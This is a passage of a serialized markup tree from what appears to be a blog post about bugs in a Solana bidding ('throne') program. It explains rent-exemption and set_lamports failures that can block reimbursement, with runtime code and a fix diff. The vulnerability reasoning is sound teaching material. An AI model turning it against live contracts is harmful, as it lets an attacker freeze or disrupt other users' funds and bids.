1298,"children":71299},{"style":338},[71300],{"type":28,"value":71301},"old_king,\n",{"type":23,"tag":314,"props":71303,"children":71304},{"class":316,"line":2043},[71305,71310],{"type":23,"tag":314,"props":71306,"children":71307},{"style":360},[71308],{"type":28,"value":71309}," to_reimburse",{"type":23,"tag":314,"props":71311,"children":71312},{"style":338},[71313],{"type":28,"value":1870},{"type":23,"tag":314,"props":71315,"children":71316},{"class":316,"line":22803},[71317,71321,71325],{"type":23,"tag":314,"props":71318,"children":71319},{"style":338},[71320],{"type":28,"value":71125},{"type":23,"tag":314,"props":71322,"children":71323},{"style":354},[71324],{"type":28,"value":2409},{"type":23,"tag":314,"props":71326,"children":71327},{"style":338},[71328],{"type":28,"value":2278},{"type":23,"tag":314,"props":71330,"children":71331},{"class":316,"line":22845},[71332],{"type":23,"tag":314,"props":71333,"children":71334},{"emptyLinePlaceholder":18},[71335],{"type":28,"value":1088},{"type":23,"tag":314,"props":71337,"children":71338},{"class":316,"line":22878},[71339],{"type":23,"tag":314,"props":71340,"children":71341},{"style":374},[71342],{"type":28,"value":71343}," // Set new king\n",{"type":23,"tag":314,"props":71345,"children":71346},{"class":316,"line":22886},[71347,71351,71355,71359,71363,71367,71371,71376,71380,71384,71388,71392,71396,71401,71405,71409],{"type":23,"tag":314,"props":71348,"children":71349},{"style":360},[71350],{"type":28,"value":25432},{"type":23,"tag":314,"props":71352,"children":71353},{"style":354},[71354],{"type":28,"value":282},{"type":23,"tag":314,"props":71356,"children":71357},{"style":338},[71358],{"type":28,"value":238},{"type":23,"tag":314,"props":71360,"children":71361},{"style":354},[71362],{"type":28,"value":282},{"type":23,"tag":314,"props":71364,"children":71365},{"style":338},[71366],{"type":28,"value":71004},{"type":23,"tag":314,"props":71368,"children":71369},{"style":354},[71370],{"type":28,"value":282},{"type":23,"tag":314,"props":71372,"children":71373},{"style":338},[71374],{"type":28,"value":71375},"king ",{"type":23,"tag":314,"props":71377,"children":71378},{"style":354},[71379],{"type":28,"value":1102},{"type":23,"tag":314,"props":71381,"children":71382},{"style":360},[71383],{"type":28,"value":25089},{"type":23,"tag":314,"props":71385,"children":71386},{"style":354},[71387],{"type":28,"value":282},{"type":23,"tag":314,"props":71389,"children":71390},{"style":338},[71391],{"type":28,"value":238},{"type":23,"tag":314,"props":71393,"children":71394},{"style":354},[71395],{"type":28,"value":282},{"type":23,"tag":314,"props":71397,"children":71398},{"style":338},[71399],{"type":28,"value":71400},"new_king",{"type":23,"tag":314,"props":71402,"children":71403},{"style":354},[71404],{"type":28,"value":282},{"type":23,"tag":314,"props":71406,"children":71407},{"style":332},[71408],{"type":28,"value":1472},{"type":23,"tag":314,"props":71410,"children":71411},{"style":338},[71412],{"type":28,"value":2926},{"type":23,"tag":314,"props":71414,"children":71415},{"class":316,"line":22894},[71416,71420,71424,71428,71432,71436,71440,71444,71448,71453],{"type":23,"tag":314,"props":71417,"children":71418},{"style":360},[71419],{"type":28,"value":25432},{"type":23,"tag":314,"props":71421,"children":71422},{"style":354},[71423],{"type":28,"value":282},{"type":23,"tag":314,"props":71425,"children":71426},{"style":338},[71427],{"type":28,"value":238},{"type":23,"tag":314,"props":71429,"children":71430},{"style":354},[71431],{"type":28,"value":282},{"type":23,"tag":314,"props":71433,"children":71434},{"style":338},[71435],{"type":28,"value":71004},{"type":23,"tag":314,"props":71437,"children":71438},{"style":354},[71439],{"type":28,"value":282},{"type":23,"tag":314,"props":71441,"children":71442},{"style":338},[71443],{"type":28,"value":71013},{"type":23,"tag":314,"props":71445,"children":71446},{"style":354},[71447],{"type":28,"value":1102},{"type":23,"tag":314,"props":71449,"children":71450},{"style":360},[71451],{"type":28,"value":71452}," bid_amount",{"type":23,"tag":314,"props":71454,"children":71455},{"style":338},[71456],{"type":28,"value":2278},{"type":23,"tag":314,"props":71458,"children":71459},{"class":316,"line":22903},[71460,71464,71468,71472,71476,71480,71484,71489,71493,71498,71502,71506,71510,71514,71519,71523,71527],{"type":23,"tag":314,"props":71461,"children":71462},{"style":360},[71463],{"type":28,"value":25432},{"type":23,"tag":314,"props":71465,"children":71466},{"style":354},[71467],{"type":28,"value":282},{"type":23,"tag":314,"props":71469,"children":71470},{"style":338},[71471],{"type":28,"value":238},{"type":23,"tag":314,"props":71473,"children":71474},{"style":354},[71475],{"type":28,"value":282},{"type":23,"tag":314,"props":71477,"children":71478},{"style":338},[71479],{"type":28,"value":71004},{"type":23,"tag":314,"props":71481,"children":71482},{"style":354},[71483],{"type":28,"value":282},{"type":23,"tag":314,"props":71485,"children":71486},{"style":338},[71487],{"type":28,"value":71488},"last_time ",{"type":23,"tag":314,"props":71490,"children":71491},{"style":354},[71492],{"type":28,"value":1102},{"type":23,"tag":314,"props":71494,"children":71495},{"style":2674},[71496],{"type":28,"value":71497}," Clock",{"type":23,"tag":314,"props":71499,"children":71500},{"style":354},[71501],{"type":28,"value":2737},{"type":23,"tag":314,"props":71503,"children":71504},{"style":332},[71505],{"type":28,"value":15593},{"type":23,"tag":314,"props":71507,"children":71508},{"style":338},[71509],{"type":28,"value":13126},{"type":23,"tag":314,"props":71511,"children":71512},{"style":354},[71513],{"type":28,"value":2387},{"type":23,"tag":314,"props":71515,"children":71516},{"style":338},[71517],{"type":28,"value":71518},"unix_timestamp ",{"type":23,"tag":314,"props":71520,"children":71521},{"style":321},[71522],{"type":28,"value":8094},{"type":23,"tag":314,"props":71524,"children":71525},{"style":2674},[71526],{"type":28,"value":5114},{"type":23,"tag":314,"props":71528,"children":71529},{"style":338},[71530],{"type":28,"value":2278},{"type":23,"tag":314,"props":71532,"children":71533},{"class":316,"line":22979},[71534],{"type":23,"tag":314,"props":71535,"children":71536},{"emptyLinePlaceholder":18},[71537],{"type":28,"value":1088},{"type":23,"tag":314,"props":71539,"children":71540},{"class":316,"line":23012},[71541,71545],{"type":23,"tag":314,"props":71542,"children":71543},{"style":2674},[71544],{"type":28,"value":14054},{"type":23,"tag":314,"props":71546,"children":71547},{"style":338},[71548],{"type":28,"value":13585},{"type":23,"tag":314,"props":71550,"children":71551},{"class":316,"line":23020},[71552],{"type":23,"tag":314,"props":71553,"children":71554},{"style":338},[71555],{"type":28,"value":2610},{"type":23,"tag":314,"props":71557,"children":71558},{"class":316,"line":23028},[71559],{"type":23,"tag":314,"props":71560,"children":71561},{"style":338},[71562],{"type":28,"value":386},{"type":23,"tag":24,"props":71564,"children":71565},{},[71566],{"type":28,"value":71567},"Note this comment:",{"type":23,"tag":2186,"props":71569,"children":71570},{},[71571],{"type":23,"tag":24,"props":71572,"children":71573},{},[71574],{"type":28,"value":71575},"any writable account is allowed as a new king.",{"type":23,"tag":24,"props":71577,"children":71578},{},[71579],{"type":28,"value":71580},"...Is our assumption correct?",{"type":23,"tag":61,"props":71582,"children":71584},{"id":71583},"the-bugs-lurking-beneath",[71585],{"type":28,"value":71586},"The Bugs Lurking Beneath",{"type":23,"tag":837,"props":71588,"children":71590},{"id":71589},"bug-1-the-rent-exemption-trap",[71591],{"type":28,"value":71592},"Bug 1: The Rent-Exemption Trap",{"type":23,"tag":24,"props":71594,"children":71595},{},[71596,71598,71603],{"type":28,"value":71597},"On Solana, all accounts must maintain a ",{"type":23,"tag":721,"props":71599,"children":71600},{},[71601],{"type":28,"value":71602},"minimum balance",{"type":28,"value":71604}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":23,"tag":127,"props":71606,"children":71607},{},[71608,71623],{"type":23,"tag":88,"props":71609,"children":71610},{},[71611,71616,71617],{"type":23,"tag":721,"props":71612,"children":71613},{},[71614],{"type":28,"value":71615},"Uninitialized",{"type":28,"value":14573},{"type":23,"tag":94,"props":71618,"children":71620},{"className":71619},[],[71621],{"type":28,"value":71622},"lamports = 0",{"type":23,"tag":88,"props":71624,"children":71625},{},[71626,71631,71632],{"type":23,"tag":721,"props":71627,"children":71628},{},[71629],{"type":28,"value":71630},"Initialized",{"type":28,"value":14573},{"type":23,"tag":94,"props":71633,"children":71635},{"className":71634},[],[71636],{"type":28,"value":71637},"lamports >= rent-exempt threshold",{"type":23,"tag":24,"props":71639,"children":71640},{},[71641,71643,71648],{"type":28,"value":71642},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":23,"tag":721,"props":71644,"children":71645},{},[71646],{"type":28,"value":71647},"account metadata",{"type":28,"value":71649}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":23,"tag":24,"props":71651,"children":71652},{},[71653,71655,71661],{"type":28,"value":71654},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":23,"tag":94,"props":71656,"children":71658},{"className":71657},[],[71659],{"type":28,"value":71660},"data.len() == 0",{"type":28,"value":71662}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":23,"tag":24,"props":71664,"children":71665},{},[71666,71668,71674],{"type":28,"value":71667},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":23,"tag":31,"props":71669,"children":71672},{"href":71670,"rel":71671},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[35],[71673],{"type":28,"value":46834},{"type":28,"value":282},{"type":23,"tag":304,"props":71676,"children":71678},{"className":2234,"code":71677,"language":2233,"meta":7,"style":7}," fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n match post_rent_state {\n RentState::Uninitialized | RentState::RentExempt => true,\n RentState::RentPaying {\n data_size: post_data_size,\n lamports: post_lamports,\n } => {\n match pre_rent_state {\n RentState::Uninitialized | RentState::RentExempt => false,\n RentState::RentPaying {\n data_size: pre_data_size,\n lamports: pre_lamports,\n } => {\n // Cannot remain RentPaying if resized or credited.\n post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n }\n }\n }\n }\n }\n",[71679],{"type":23,"tag":94,"props":71680,"children":71681},{"__ignoreMap":7},[71682,71766,71783,71829,71849,71870,71891,71906,71923,71967,71986,72007,72028,72044,72052,72085,72092,72099,72106,72113],{"type":23,"tag":314,"props":71683,"children":71684},{"class":316,"line":317},[71685,71690,71695,71699,71703,71707,71711,71716,71720,71724,71729,71733,71738,71742,71746,71750,71754,71758,71762],{"type":23,"tag":314,"props":71686,"children":71687},{"style":321},[71688],{"type":28,"value":71689}," fn",{"type":23,"tag":314,"props":71691,"children":71692},{"style":332},[71693],{"type":28,"value":71694}," transition_allowed",{"type":23,"tag":314,"props":71696,"children":71697},{"style":338},[71698],{"type":28,"value":341},{"type":23,"tag":314,"props":71700,"children":71701},{"style":354},[71702],{"type":28,"value":1833},{"type":23,"tag":314,"props":71704,"children":71705},{"style":321},[71706],{"type":28,"value":12961},{"type":23,"tag":314,"props":71708,"children":71709},{"style":338},[71710],{"type":28,"value":778},{"type":23,"tag":314,"props":71712,"children":71713},{"style":360},[71714],{"type":28,"value":71715},"pre_rent_state",{"type":23,"tag":314,"props":71717,"children":71718},{"style":354},[71719],{"type":28,"value":3746},{"type":23,"tag":314,"props":71721,"children":71722},{"style":354},[71723],{"type":28,"value":1968},{"type":23,"tag":314,"props":71725,"children":71726},{"style":2674},[71727],{"type":28,"value":71728},"RentState",{"type":23,"tag":314,"props":71730,"children":71731},{"style":338},[71732],{"type":28,"value":778},{"type":23,"tag":314,"props":71734,"children":71735},{"style":360},[71736],{"type":28,"value":71737},"post_rent_state",{"type":23,"tag":314,"props":71739,"children":71740},{"style":354},[71741],{"type":28,"value":3746},{"type":23,"tag":314,"props":71743,"children":71744},{"style":354},[71745],{"type":28,"value":1968},{"type":23,"tag":314,"props":71747,"children":71748},{"style":2674},[71749],{"type":28,"value":71728},{"type":23,"tag":314,"props":71751,"children":71752},{"style":338},[71753],{"type":28,"value":2343},{"type":23,"tag":314,"props":71755,"children":71756},{"style":354},[71757],{"type":28,"value":1015},{"type":23,"tag":314,"props":71759,"children":71760},{"style":2674},[71761],{"type":28,"value":11298},{"type":23,"tag":314,"props":71763,"children":71764},{"style":338},[71765],{"type":28,"value":1449},{"type":23,"tag":314,"props":71767,"children":71768},{"class":316,"line":370},[71769,71774,71779],{"type":23,"tag":314,"props":71770,"children":71771},{"style":2284},[71772],{"type":28,"value":71773}," match",{"type":23,"tag":314,"props":71775,"children":71776},{"style":360},[71777],{"type":28,"value":71778}," post_rent_state",{"type":23,"tag":314,"props":71780,"children":71781},{"style":338},[71782],{"type":28,"value":1449},{"type":23,"tag":314,"props":71784,"children":71785},{"class":316,"line":380},[71786,71791,71795,71799,71803,71808,71812,71817,71821,71825],{"type":23,"tag":314,"props":71787,"children":71788},{"style":2674},[71789],{"type":28,"value":71790}," RentState",{"type":23,"tag":314,"props":71792,"children":71793},{"style":354},[71794],{"type":28,"value":2737},{"type":23,"tag":314,"props":71796,"children":71797},{"style":2674},[71798],{"type":28,"value":71615},{"type":23,"tag":314,"props":71800,"children":71801},{"style":354},[71802],{"type":28,"value":3525},{"type":23,"tag":314,"props":71804,"children":71805},{"style":2674},[71806],{"type":28,"value":71807}," RentState",{"type":23,"tag":314,"props":71809,"children":71810},{"style":354},[71811],{"type":28,"value":2737},{"type":23,"tag":314,"props":71813,"children":71814},{"style":2674},[71815],{"type":28,"value":71816},"RentExempt",{"type":23,"tag":314,"props":71818,"children":71819},{"style":354},[71820],{"type":28,"value":26999},{"type":23,"tag":314,"props":71822,"children":71823},{"style":321},[71824],{"type":28,"value":11717},{"type":23,"tag":314,"props":71826,"children":71827},{"style":338},[71828],{"type":28,"value":1870},{"type":23,"tag":314,"props":71830,"children":71831},{"class":316,"line":1091},[71832,71836,71840,71845],{"type":23,"tag":314,"props":71833,"children":71834},{"style":2674},[71835],{"type":28,"value":71790},{"type":23,"tag":314,"props":71837,"children":71838},{"style":354},[71839],{"type":28,"value":2737},{"type":23,"tag":314,"props":71841,"children":71842},{"style":2674},[71843],{"type":28,"value":71844},"RentPaying",{"type":23,"tag":314,"props":71846,"children":71847},{"style":338},[71848],{"type":28,"value":1449},{"type":23,"tag":314,"props":71850,"children":71851},{"class":316,"line":1141},[71852,71857,71861,71866],{"type":23,"tag":314,"props":71853,"children":71854},{"style":360},[71855],{"type":28,"value":71856}," data_size",{"type":23,"tag":314,"props":71858,"children":71859},{"style":354},[71860],{"type":28,"value":3746},{"type":23,"tag":314,"props":71862,"children":71863},{"style":360},[71864],{"type":28,"value":71865}," post_data_size",{"type":23,"tag":314,"props":71867,"children":71868},{"style":338},[71869],{"type":28,"value":1870},{"type":23,"tag":314,"props":71871,"children":71872},{"class":316,"line":1173},[71873,71878,71882,71887],{"type":23,"tag":314,"props":71874,"children":71875},{"style":360},[71876],{"type":28,"value":71877}," lamports",{"type":23,"tag":314,"props":71879,"children":71880},{"style":354},[71881],{"type":28,"value":3746},{"type":23,"tag":314,"props":71883,"children":71884},{"style":360},[71885],{"type":28,"value":71886}," post_lamports",{"type":23,"tag":314,"props":71888,"children":71889},{"style":338},[71890],{"type":28,"value":1870},{"type":23,"tag":314,"props":71892,"children":71893},{"class":316,"line":1208},[71894,71898,71902],{"type":23,"tag":314,"props":71895,"children":71896},{"style":338},[71897],{"type":28,"value":69847},{"type":23,"tag":314,"props":71899,"children":71900},{"style":354},[71901],{"type":28,"value":14064},{"type":23,"tag":314,"props":71903,"children":71904},{"style":338},[71905],{"type":28,"value":1449},{"type":23,"tag":314,"props":71907,"children":71908},{"class":316,"line":1216},[71909,71914,71919],{"type":23,"tag":314,"props":71910,"children":71911},{"style":2284},[71912],{"type":28,"value":71913}," match",{"type":23,"tag":314,"props":71915,"children":71916},{"style":360},[71917],{"type":28,"value":71918}," pre_rent_state",{"type":23,"tag":314,"props":71920,"children":71921},{"style":338},[71922],{"type":28,"value":1449},{"type":23,"tag":314,"props":71924,"children":71925},{"class":316,"line":1301},[71926,71931,71935,71939,71943,71947,71951,71955,71959,71963],{"type":23,"tag":314,"props":71927,"children":71928},{"style":2674},[71929],{"type":28,"value":71930}," RentState",{"type":23,"tag":314,"props":71932,"children":71933},{"style":354},[71934],{"type":28,"value":2737},{"type":23,"tag":314,"props":71936,"children":71937},{"style":2674},[71938],{"type":28,"value":71615},{"type":23,"tag":314,"props":71940,"children":71941},{"style":354},[71942],{"type":28,"value":3525},{"type":23,"tag":314,"props":71944,"children":71945},{"style":2674},[71946],{"type":28,"value":71807},{"type":23,"tag":314,"props":71948,"children":71949},{"style":354},[71950],{"type":28,"value":2737},{"type":23,"tag":314,"props":71952,"children":71953},{"style":2674},[71954],{"type":28,"value":71816},{"type":23,"tag":314,"props":71956,"children":71957},{"style":354},[71958],{"type":28,"value":26999},{"type":23,"tag":314,"props":71960,"children":71961},{"style":321},[71962],{"type":28,"value":8309},{"type":23,"tag":314,"props":71964,"children":71965},{"style":338},[71966],{"type":28,"value":1870},{"type":23,"tag":314,"props":71968,"children":71969},{"class":316,"line":1343},[71970,71974,71978,71982],{"type":23,"tag":314,"props":71971,"children":71972},{"style":2674},[71973],{"type":28,"value":71930},{"type":23,"tag":314,"props":71975,"children":71976},{"style":354},[71977],{"type":28,"value":2737},{"type":23,"tag":314,"props":71979,"children":71980},{"style":2674},[71981],{"type":28,"value":71844},{"type":23,"tag":314,"props":71983,"children":71984},{"style":338},[71985],{"type":28,"value":1449},{"type":23,"tag":314,"props":71987,"children":71988},{"class":316,"line":1351},[71989,71994,71998,72003],{"type":23,"tag":314,"props":71990,"children":71991},{"style":360},[71992],{"type":28,"value":71993}," data_size",{"type":23,"tag":314,"props":71995,"children":71996},{"style":354},[71997],{"type":28,"value":3746},{"type":23,"tag":314,"props":71999,"children":72000},{"style":360},[72001],{"type":28,"value":72002}," pre_data_size",{"type":23,"tag":314,"props":72004,"children":72005},{"style":338},[72006],{"type":28,"value":1870},{"type":23,"tag":314,"props":72008,"children":72009},{"class":316,"line":1387},[72010,72015,72019,72024],{"type":23,"tag":314,"props":72011,"children":72012},{"style":360},[72013],{"type":28,"value":72014}," lamports",{"type":23,"tag":314,"props":72016,"children":72017},{"style":354},[72018],{"type":28,"value":3746},{"type":23,"tag":314,"props":72020,"children":72021},{"style":360},[72022],{"type":28,"value":72023}," pre_lamports",{"type":23,"tag":314,"props":72025,"children":72026},{"style":338},[72027],{"type":28,"value":1870},{"type":23,"tag":314,"props":72029,"children":72030},{"class":316,"line":1422},[72031,72036,72040],{"type":23,"tag":314,"props":72032,"children":72033},{"style":338},[72034],{"type":28,"value":72035}," } ",{"type":23,"tag":314,"props":72037,"children":72038},{"style":354},[72039],{"type":28,"value":14064},{"type":23,"tag":314,"props":72041,"children":72042},{"style":338},[72043],{"type":28,"value":1449},{"type":23,"tag":314,"props":72045,"children":72046},{"class":316,"line":1430},[72047],{"type":23,"tag":314,"props":72048,"children":72049},{"style":374},[72050],{"type":28,"value":72051}," // Cannot remain RentPaying if resized or credited.\n",{"type":23,"tag":314,"props":72053,"children":72054},{"class":316,"line":1452},[72055,72060,72064,72068,72072,72076,72080],{"type":23,"tag":314,"props":72056,"children":72057},{"style":360},[72058],{"type":28,"value":72059}," post_data_size",{"type":23,"tag":314,"props":72061,"children":72062},{"style":354},[72063],{"type":28,"value":2537},{"type":23,"tag":314,"props":72065,"children":72066},{"style":360},[72067],{"type":28,"value":72002},{"type":23,"tag":314,"props":72069,"children":72070},{"style":354},[72071],{"type":28,"value":13432},{"type":23,"tag":314,"props":72073,"children":72074},{"style":360},[72075],{"type":28,"value":71886},{"type":23,"tag":314,"props":72077,"children":72078},{"style":354},[72079],{"type":28,"value":7451},{"type":23,"tag":314,"props":72081,"children":72082},{"style":360},[72083],{"type":28,"value":72084}," pre_lamports\n",{"type":23,"tag":314,"props":72086,"children":72087},{"class":316,"line":1497},[72088],{"type":23,"tag":314,"props":72089,"children":72090},{"style":338},[72091],{"type":28,"value":70316},{"type":23,"tag":314,"props":72093,"children":72094},{"class":316,"line":1539},[72095],{"type":23,"tag":314,"props":72096,"children":72097},{"style":338},[72098],{"type":28,"value":70324},{"type":23,"tag":314,"props":72100,"children":72101},{"class":316,"line":1548},[72102],{"type":23,"tag":314,"props":72103,"children":72104},{"style":338},[72105],{"type":28,"value":58136},{"type":23,"tag":314,"props":72107,"children":72108},{"class":316,"line":1584},[72109],{"type":23,"tag":314,"props":72110,"children":72111},{"style":338},[72112],{"type":28,"value":2602},{"type":23,"tag":314,"props":72114,"children":72115},{"class":316,"line":1617},[72116],{"type":23,"tag":314,"props":72117,"children":72118},{"style":338},[72119],{"type":28,"value":2610},{"type":23,"tag":24,"props":72121,"children":72122},{},[72123],{"type":28,"value":72124},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":23,"tag":304,"props":72126,"children":72128},{"className":3499,"code":72127,"language":3498,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[72129],{"type":23,"tag":94,"props":72130,"children":72131},{"__ignoreMap":7},[72132,72148],{"type":23,"tag":314,"props":72133,"children":72134},{"class":316,"line":317},[72135,72139,72144],{"type":23,"tag":314,"props":72136,"children":72137},{"style":332},[72138],{"type":28,"value":17},{"type":23,"tag":314,"props":72140,"children":72141},{"style":1245},[72142],{"type":28,"value":72143}," rent",{"type":23,"tag":314,"props":72145,"children":72146},{"style":1054},[72147],{"type":28,"value":23524},{"type":23,"tag":314,"props":72149,"children":72150},{"class":316,"line":370},[72151,72156,72161,72166],{"type":23,"tag":314,"props":72152,"children":72153},{"style":332},[72154],{"type":28,"value":72155},"Rent-exempt",{"type":23,"tag":314,"props":72157,"children":72158},{"style":1245},[72159],{"type":28,"value":72160}," minimum:",{"type":23,"tag":314,"props":72162,"children":72163},{"style":1054},[72164],{"type":28,"value":72165}," 0.00089088",{"type":23,"tag":314,"props":72167,"children":72168},{"style":1245},[72169],{"type":28,"value":72170}," SOL\n",{"type":23,"tag":18130,"props":72172,"children":72174},{"id":72173},"fix-1-only-reimburse-if-rent-exempt",[72175],{"type":28,"value":72176},"Fix 1: Only Reimburse if Rent-Exempt",{"type":23,"tag":24,"props":72178,"children":72179},{},[72180],{"type":28,"value":72181},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":23,"tag":304,"props":72183,"children":72185},{"className":39608,"code":72184,"language":39610,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n+}\n",[72186],{"type":23,"tag":94,"props":72187,"children":72188},{"__ignoreMap":7},[72189,72197,72205,72213,72221,72229,72237,72245,72253,72261],{"type":23,"tag":314,"props":72190,"children":72191},{"class":316,"line":317},[72192],{"type":23,"tag":314,"props":72193,"children":72194},{"style":338},[72195],{"type":28,"value":72196},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":23,"tag":314,"props":72198,"children":72199},{"class":316,"line":370},[72200],{"type":23,"tag":314,"props":72201,"children":72202},{"style":1054},[72203],{"type":28,"value":72204},"+let rent = Rent::get()?;\n",{"type":23,"tag":314,"props":72206,"children":72207},{"class":316,"line":380},[72208],{"type":23,"tag":314,"props":72209,"children":72210},{"style":1054},[72211],{"type":28,"value":72212},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":23,"tag":314,"props":72214,"children":72215},{"class":316,"line":1091},[72216],{"type":23,"tag":314,"props":72217,"children":72218},{"style":1054},[72219],{"type":28,"value":72220},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":23,"tag":314,"props":72222,"children":72223},{"class":316,"line":1141},[72224],{"type":23,"tag":314,"props":72225,"children":72226},{"style":338},[72227],{"type":28,"value":72228}," transfer_from_pda(\n",{"type":23,"tag":314,"props":72230,"children":72231},{"class":316,"line":1173},[72232],{"type":23,"tag":314,"props":72233,"children":72234},{"style":338},[72235],{"type":28,"value":72236}," &ctx.accounts.throne.to_account_info(),\n",{"type":23,"tag":314,"props":72238,"children":72239},{"class":316,"line":1208},[72240],{"type":23,"tag":314,"props":72241,"children":72242},{"style":338},[72243],{"type":28,"value":72244}," &ctx.accounts.old_king,\n",{"type":23,"tag":314,"props":72246,"children":72247},{"class":316,"line":1216},[72248],{"type":23,"tag":314,"props":72249,"children":72250},{"style":338},[72251],{"type":28,"value":72252}," to_reimburse,\n",{"type":23,"tag":314,"props":72254,"children":72255},{"class":316,"line":1301},[72256],{"type":23,"tag":314,"props":72257,"children":72258},{"style":338},[72259],{"type":28,"value":72260}," )?;\n",{"type":23,"tag":314,"props":72262,"children":72263},{"class":316,"line":1343},[72264],{"type":23,"tag":314,"props":72265,"children":72266},{"style":1054},[72267],{"type":28,"value":72268},"+}\n",{"type":23,"tag":24,"props":72270,"children":72271},{},[72272],{"type":28,"value":72273},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":23,"tag":837,"props":72275,"children":72277},{"id":72276},"bug-2-writable-but-untouchable-set_lamports-fails",[72278,72280,72286],{"type":28,"value":72279},"Bug 2: Writable but Untouchable — ",{"type":23,"tag":94,"props":72281,"children":72283},{"className":72282},[],[72284],{"type":28,"value":72285},"set_lamports",{"type":28,"value":72287}," Fails",{"type":23,"tag":24,"props":72289,"children":72290},{},[72291,72293,72300],{"type":28,"value":72292},"Let's look at ",{"type":23,"tag":31,"props":72294,"children":72297},{"href":72295,"rel":72296},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[35],[72298],{"type":28,"value":72299},"BorrowedAccount::set_lamports",{"type":28,"value":282},{"type":23,"tag":304,"props":72302,"children":72304},{"className":2234,"code":72303,"language":2233,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n // An account not owned by the program cannot have its balance decrease\n if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n return Err(InstructionError::ExternalAccountLamportSpend);\n }\n // The balance of read-only may not change\n if !self.is_writable() {\n return Err(InstructionError::ReadonlyLamportChange);\n }\n // The balance of executable accounts may not change\n if self.is_executable_internal() {\n return Err(InstructionError::ExecutableLamportChange);\n }\n // don't touch the account if the lamports do not change\n if self.get_lamports() == lamports {\n return Ok(());\n }\n self.touch()?;\n self.account.set_lamports(lamports);\n Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n !self\n .transaction_context\n .remove_accounts_executable_flag_checks\n && self.account.executable()\n}\n\n",[72305],{"type":23,"tag":94,"props":72306,"children":72307},{"__ignoreMap":7},[72308,72316,72337,72409,72417,72476,72508,72515,72523,72551,72583,72590,72598,72622,72654,72661,72669,72704,72720,72727,72755,72790,72801,72808,72815,72823,72842,72850,72890,72902,72914,72926,72957],{"type":23,"tag":314,"props":72309,"children":72310},{"class":316,"line":317},[72311],{"type":23,"tag":314,"props":72312,"children":72313},{"style":374},[72314],{"type":28,"value":72315},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":23,"tag":314,"props":72317,"children":72318},{"class":316,"line":370},[72319,72324,72328,72333],{"type":23,"tag":314,"props":72320,"children":72321},{"style":338},[72322],{"type":28,"value":72323},"#[cfg(not(target_os ",{"type":23,"tag":314,"props":72325,"children":72326},{"style":354},[72327],{"type":28,"value":1102},{"type":23,"tag":314,"props":72329,"children":72330},{"style":1245},[72331],{"type":28,"value":72332}," \"solana\"",{"type":23,"tag":314,"props":72334,"children":72335},{"style":338},[72336],{"type":28,"value":19846},{"type":23,"tag":314,"props":72338,"children":72339},{"class":316,"line":380},[72340,72344,72348,72353,72357,72361,72365,72369,72373,72377,72381,72385,72389,72393,72397,72401,72405],{"type":23,"tag":314,"props":72341,"children":72342},{"style":321},[72343],{"type":28,"value":12938},{"type":23,"tag":314,"props":72345,"children":72346},{"style":321},[72347],{"type":28,"value":12943},{"type":23,"tag":314,"props":72349,"children":72350},{"style":332},[72351],{"type":28,"value":72352}," set_lamports",{"type":23,"tag":314,"props":72354,"children":72355},{"style":338},[72356],{"type":28,"value":341},{"type":23,"tag":314,"props":72358,"children":72359},{"style":354},[72360],{"type":28,"value":1833},{"type":23,"tag":314,"props":72362,"children":72363},{"style":321},[72364],{"type":28,"value":2979},{"type":23,"tag":314,"props":72366,"children":72367},{"style":321},[72368],{"type":28,"value":13044},{"type":23,"tag":314,"props":72370,"children":72371},{"style":338},[72372],{"type":28,"value":778},{"type":23,"tag":314,"props":72374,"children":72375},{"style":360},[72376],{"type":28,"value":14753},{"type":23,"tag":314,"props":72378,"children":72379},{"style":354},[72380],{"type":28,"value":3746},{"type":23,"tag":314,"props":72382,"children":72383},{"style":2674},[72384],{"type":28,"value":5114},{"type":23,"tag":314,"props":72386,"children":72387},{"style":338},[72388],{"type":28,"value":2343},{"type":23,"tag":314,"props":72390,"children":72391},{"style":354},[72392],{"type":28,"value":1015},{"type":23,"tag":314,"props":72394,"children":72395},{"style":2674},[72396],{"type":28,"value":13009},{"type":23,"tag":314,"props":72398,"children":72399},{"style":338},[72400],{"type":28,"value":13014},{"type":23,"tag":314,"props":72402,"children":72403},{"style":2674},[72404],{"type":28,"value":14999},{"type":23,"tag":314,"props":72406,"children":72407},{"style":338},[72408],{"type":28,"value":6536},{"type":23,"tag":314,"props":72410,"children":72411},{"class":316,"line":1091},[72412],{"type":23,"tag":314,